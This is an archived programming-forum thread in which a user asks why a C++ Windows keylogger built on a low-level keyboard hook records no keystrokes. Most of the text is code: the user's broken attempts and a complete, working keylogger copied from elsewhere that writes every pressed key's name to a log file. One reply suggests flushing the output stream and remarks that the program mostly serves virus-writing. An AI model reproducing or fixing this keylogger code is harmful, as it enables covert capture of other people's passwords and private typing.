Keylogger runs but does not save the key

Hi
This is code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <iostream>
#include <windows.h>
#include <fstream>
using namespace std;
ofstream out("plik.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);

if (wParam==WM_KEYDOWN)
{
    switch (p->vkCode)
    {

        case 'VK_A' : out <<"A"; break;
        case 'VK_a' : out <<"a"; break;

        default:
              out << char(tolower(p->vkCode));

    }

}
return CallNextHookEx(NULL, nCode, wParam, lParam);


}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
HHOOK keyboardhook = SetWindowsHookEx (WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0);
out.close();
return 0;
}





What is wrong in it? Because the code is good compiles but does not record keystrokes.
This is some code I found on google, I think it works:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
// This code will only work if you have Windows NT or 
// any later version installed, 2k and XP will work. 
#define _WIN32_WINNT 0x0400 
#include <windows.h> 
#include <winuser.h> 
#include <stdio.h> 
// Global Hook handle 
HHOOK hKeyHook; 
// This is the function that is "exported" from the 
// execuatable like any function is exported from a 
// DLL. It is the hook handler routine for low level 
// keyboard events. 
__declspec(dllexport) LRESULT CALLBACK KeyEvent ( 
  int nCode,      // The hook code 
  WPARAM wParam,  // The window message (WM_KEYUP, WM_KEYDOWN, etc.) 
  LPARAM lParam   // A pointer to a struct with information about the pressed key 
) { 
    if  ((nCode == HC_ACTION) &&       // HC_ACTION means we may process this event 
        ((wParam == WM_SYSKEYDOWN) ||  // Only react if either a system key ... 
        (wParam == WM_KEYDOWN)))       // ... or a normal key have been pressed. 
    { 
    //  This struct contains various information about 
    //  the pressed key such as hardware scan code, virtual 
    //  key code and further flags. 
        KBDLLHOOKSTRUCT hooked = 
            *((KBDLLHOOKSTRUCT*)lParam); 
    //  dwMsg shall contain the information that would be stored 
    //  in the usual lParam argument of a WM_KEYDOWN message. 
    //  All information like hardware scan code and other flags 
    //  are stored within one double word at different bit offsets. 
    //  Refer to MSDN for further information: 
    // 
    //  http://msdn.microsoft.com/library/en-us/winui/winui/ 
    //    windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp 
    // 
    //  (Keystroke Messages) 
        DWORD dwMsg = 1; 
        dwMsg += hooked.scanCode << 16; 
        dwMsg += hooked.flags << 24; 
    //  Call the GetKeyNameText() function to get the language-dependant 
    //  name of the pressed key. This function should return the name 
    //  of the pressed key in your language, aka the language used on 
    //  the system. 
        char lpszName[0x100] = {0}; 
        lpszName[0] = '['; 
        int i = GetKeyNameText(dwMsg, 
            (lpszName+1),0xFF) + 1; 
        lpszName[i] = ']'; 
    //  Print this name to the standard console output device. 
        FILE *file; 
        file=fopen("keys.log","a+"); 
        fputs(lpszName,file); 
        fflush(file); 
    } 
//  the return value of the CallNextHookEx routine is always 
//  returned by your HookProc routine. This allows other 
//  applications to install and handle the same hook as well. 
    return CallNextHookEx(hKeyHook, 
        nCode,wParam,lParam); 
} 
// This is a simple message loop that will be used 
// to block while we are logging keys. It does not 
// perform any real task ... 
void MsgLoop() 
{ 
    MSG message; 
    while (GetMessage(&message,NULL,0,0)) { 
        TranslateMessage( &message ); 
        DispatchMessage( &message ); 
    } 
} 
// This thread is started by the main routine to install 
// the low level keyboard hook and start the message loop 
// to loop forever while waiting for keyboard events. 
DWORD WINAPI KeyLogger(LPVOID lpParameter) 
{ 
//  Get a module handle to our own executable. Usually, 
//  the return value of GetModuleHandle(NULL) should be 
//  a valid handle to the current application instance, 
//  but if it fails we will also try to actually load 
//  ourself as a library. The thread's parameter is the 
//  first command line argument which is the path to our 
//  executable. 
    HINSTANCE hExe = GetModuleHandle(NULL); 
    if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter); 
//  Everything failed, we can't install the hook ... this 
//  never happened, but error handling is important. 
    if (!hExe) return 1; 
    hKeyHook = SetWindowsHookEx (  // install the hook: 
        WH_KEYBOARD_LL,            // as a low level keyboard hook 
        (HOOKPROC) KeyEvent,       // with the KeyEvent function from this executable 
        hExe,                      // and the module handle to our own executable 
        NULL                       // and finally, the hook should monitor all threads. 
    ); 
//  Loop forever in a message loop and if the loop 
//  stops some time, unhook the hook. I could have 
//  added a signal handler for ctrl-c that unhooks 
//  the hook once the application is terminated by 
//  the user, but I was too lazy. 
    MsgLoop(); 
    UnhookWindowsHookEx(hKeyHook); 
    return 0; 
} 
// The main function just starts the thread that 
// installs the keyboard hook and waits until it 
// terminates. 
int main(int argc, char** argv) 
{ 
    HANDLE hThread; 
    DWORD dwThread; 
    DWORD exThread; 
    hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) 
        KeyLogger, (LPVOID) argv[0], NULL, &dwThread); 
    if (hThread) { 
        return WaitForSingleObject(hThread,INFINITE); 
    } else { 
        return 1; 
    } 
}
But I'm not about completely different keylogger just do not know why I did not write the keys?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#define VK_A 65
#include <iostream>
#include <fstream>
#include <windows.h>
using namespace std;
fstream plik;
fstream out("plik.txt", ios::out);

LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
 PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);

if (wParam=WM_KEYDOWN)
{
  switch (p->vkCode)
  {

   case VK_A:
    if (GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
    plik <<"A";
    else
    plik <<"a";
    break;

  }

}

return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{

    MSG msg;

    HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, GetModuleHandle(0), 0);

 while(GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return msg.wParam;
}


Do you need to flush your output buffer?
 
  plik.flush();


That is the only thing I can see by looking at it. I see no point in this kind of application unless you're trying to write a virus, so I won't bother trying to compile it :)
Topic archived. No new replies allowed.